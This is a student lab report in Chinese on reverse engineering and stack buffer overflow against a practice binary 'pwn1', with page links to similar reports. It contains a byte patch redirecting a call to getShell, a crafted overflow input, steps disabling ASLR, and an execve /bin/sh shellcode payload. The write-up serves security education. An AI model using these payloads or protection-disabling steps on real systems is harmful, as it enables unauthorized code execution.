逆向及Bof基础实验

实验对象

文件名为pwn1的linux可执行文件。

实验目标:程序正常执行流程weimain调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用窗口,正常情况下该代码是不会被运行的。通过操作使getShell成功运行。

实验内容

1.修改可执行文件中的程序,改变程序调用的函数,直接调用getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,使程序跳转到getShell函数。

3.注入一个自己制作的shellcode,将原程序覆盖并实现运行目标函数的运行。

实验原理

机器指令是CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码和操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。

NOP:空指令,意味着什么都不做的意思,一般用来控制CPU的时间周期,达到时钟延时的效果。

JE:条件转移指令,如果相等则跳转。

JNE:条件转移指令,如果不相等则跳转。

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

objdump反汇编常用参数

objdump -d <file(s)>: 将代码段反汇编

objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息

objdump -l <file(s)>: 反汇编代码中插入文件名和行号

objdump -j section <file(s)>: 仅反汇编指定的section

objdump -t <file(s)>j:输出目标文件的符号表()

objdump -h <file(s)>:输出目标文件的所有段概括()

objdump -x <file(s)>:以某种分类信息的形式把目标文件的数据组成输出;<可查到该文件的的所有动态库>

十六进制编程器,xxd命令

用vi命令打开一个文件,在vi命令模式下输入

:%!xxd            //回车后,该文件会以十六进制形式显示

:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

gdb常用命令:

(gdb)help:查看命令帮助,具体命令查询在gdb中输入help + 命令,简写h.

(gdb)run:重新开始运行文件(run-text:加载文本文件,run-bin:加载二进制文件),简写r.

(gdb)info:查看函数内部局部变量的数值,简写i.

(gdb)continue:继续运行,简写c.

(gdb)quit:退出gdb,简写q.

实验步骤

准备步骤:在虚拟机home文件夹中创建名字为学号的新文件夹,并将pwn1文件拷贝到该文件夹。在该文件夹中拷贝多个备用的pwn1文件。

一、修改程序机器指令,改变程序执行流程

输入命令objdump -d pwn1 | more,对文件pwn1进行反汇编。可以看到原程序中跳转语句的汇编语言为e8 d7 ff ff,可以跳转到地址为8048491处,而我们希望可以跳转到804847d处,通过计算可以得出修改后的语句为e8 c3 ff ff.

使用语句vi pwn1,打开pwn1文件,按住Esc键的同时按下Shift键和

输入 :%!xxd 将文件转为16进制编码显示:

找到e8 d7,将其修改为e8 c3,具体方法为点击所要修改的字母,按下r键后再按下希望修改成的字母。

完成修改,输入:wq存盘退出。

再次进行反汇编,查看修改后的结果。

运行pwn1文件,实现实验目标。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

通过gdb命令,调试文件pwn1,通过info r命令查看当前寄存器状态,通过研究确定返回地址的位置,并由此编辑输入的字节。

通过实验指导书的方法试验发现字节输入顺序应该如下:

11111111222222223333333344444444\x7d\x84\x04\x08

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input


然后可以使用16进制查看指令xxd查看input文件的内容是否如预期

然后将input的输入,通过管道符“|”,作为pwn1的输入。

输入指令(cat input; cat) | ./pwn1后,发现已获得shell。

实践三  注入Shellcode并执行

安装好execstack,输入apt-get install execstack即可安装。

对文件进行设置,使堆栈可以被修改。

execstack -s pwn2    //设置堆栈可执行

execstack -q pwn2    //查询文件的堆栈是否可执行

X

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00" '  > input_shellcode

输入指令(cat input_shellcode;cat) | ./pwn1

再开另外一个终端,用gdb来调试pwn1这个进程。通过指令ps -ef | grep pwn1来查看pwn1的进程号。

输入指令attach 3242调试这个进程。3242为pwn1的进程号。

使用指令disassemble foo设置断点,来查看注入buf的内存地址。

然后break *0x080484ae

使用指令c,继续运行。

在初始终端上输入111111112222222233333333444444441234

通过指令 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x70\xd3\xff\xff即可

对文件shellcod进行修改,再次进行操作,发现实验目标实现。

实验收获与感想

通过实验,我对老师上课讲的内容理解更深了,虽然对一些细节还不是很明白,但是明白了整个攻击的过程,实验过程中遇到了不少问题,看了很多同学的博客,也通过百度查了一些,总算完成了实验。虽然是看着之前同学的内容完成的,也耗费了不少时间,但完成之后还是很有成就感的。

什么是漏洞?漏洞有什么危害?

我认为漏洞是计算机中可以被黑客利用,实现对计算机进行某些修改或攻击的程序片段。

漏洞的出现给了黑客对他人计算机进行攻击来实现自己目标的机会,会使使用者蒙受损失。

Exp1 PC平台逆向破解 20164303 景圣的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. QQ设置手机和pc qq群消息不同步

    作为开发人员QQ群很多,很正常,工作的时候才需要看qq信息和群消息,但是蛋疼qq在新版的qq必须设置同步,之前用的qq8.1版本可以设置不同步,但是现在突然不行 目前可以用的途径就是 QQ国际PC版2 ...

  2. lcr电桥浅谈

    此图告知,现代的lcr电桥使用的都是虚地,阻抗很高. 系统采用的鉴相器比较简单,是检半个正弦基波(RMS有效值积分),可以有效抵御偶次基波. 倒不如直接使用运放电容移相,比较采样法直接采样最高点. 此 ...

  3. 判断为false的情况

    console.log(''==false)  //true console.log('0' == false)  //true console.log(null == false) //false, ...

  4. Spring Boot web简介及原理 day04

    一.SpringBoot创建web开发(三部曲) 1.快速构建SpringBoot项目,并以jar包的形式构建 2.选择对应的功能模块 (选定场景,配置少量的配置就可运行,不配置有默认值) 3.编写自 ...

  5. IIS宿主WCF服务*.svc Mime类型映射

    经常会遇到由于.net安装组件缺失,导致发布wcf服务后,访问wcf报.svc请求类型不支持 简单方法就是添加删除程序,修改.net组件安装选项,勾选http激活即可: 或者手工添加映射处理程序 1. ...

  6. webservice学习教程(二)--理论

    一.WebService是什么? 1. 基于Web的服务:服务器端整出一些资源让客户端应用访问(获取数据) 2. 一个跨语言.跨平台的规范(抽象) 3. 多个跨平台.跨语言的应用间通信整合的方案(实际 ...

  7. iOS 控制台po不出值

    本人这几天开发项目时在控制台用po命令打印时,发现总是打印不出来,这里将我的解决方案推荐给大家 方法一:(本人就是用该方法解决了问题的) 在控制台选择All Output 方法二: 按图中指示选择de ...

  8. [LeetCode] 55. Jump Game_ Medium tag: Dynamic Programming

    Given an array of non-negative integers, you are initially positioned at the first index of the arra ...

  9. patA1059 Prime Factors

    这个问题叫做质因子分解,花了大概两个小时写对了.这道题细节挺多的,书上提到了几点,一个是n=1的话需要特判.有一个很容易错的点就是n一开始要先用一个变量保存起来,不保存的话后面有点麻烦,所以建议还是先 ...

  10. linux下如何查看某软件是否已安装

      因为linux安装软件的方式比较多,所以没有一个通用的办法能查到某些软件是否安装了.总结起来就是这样几类: 1.rpm包安装的,可以用rpm -qa看到,如果要查找某软件包是否安装,用 rpm - ...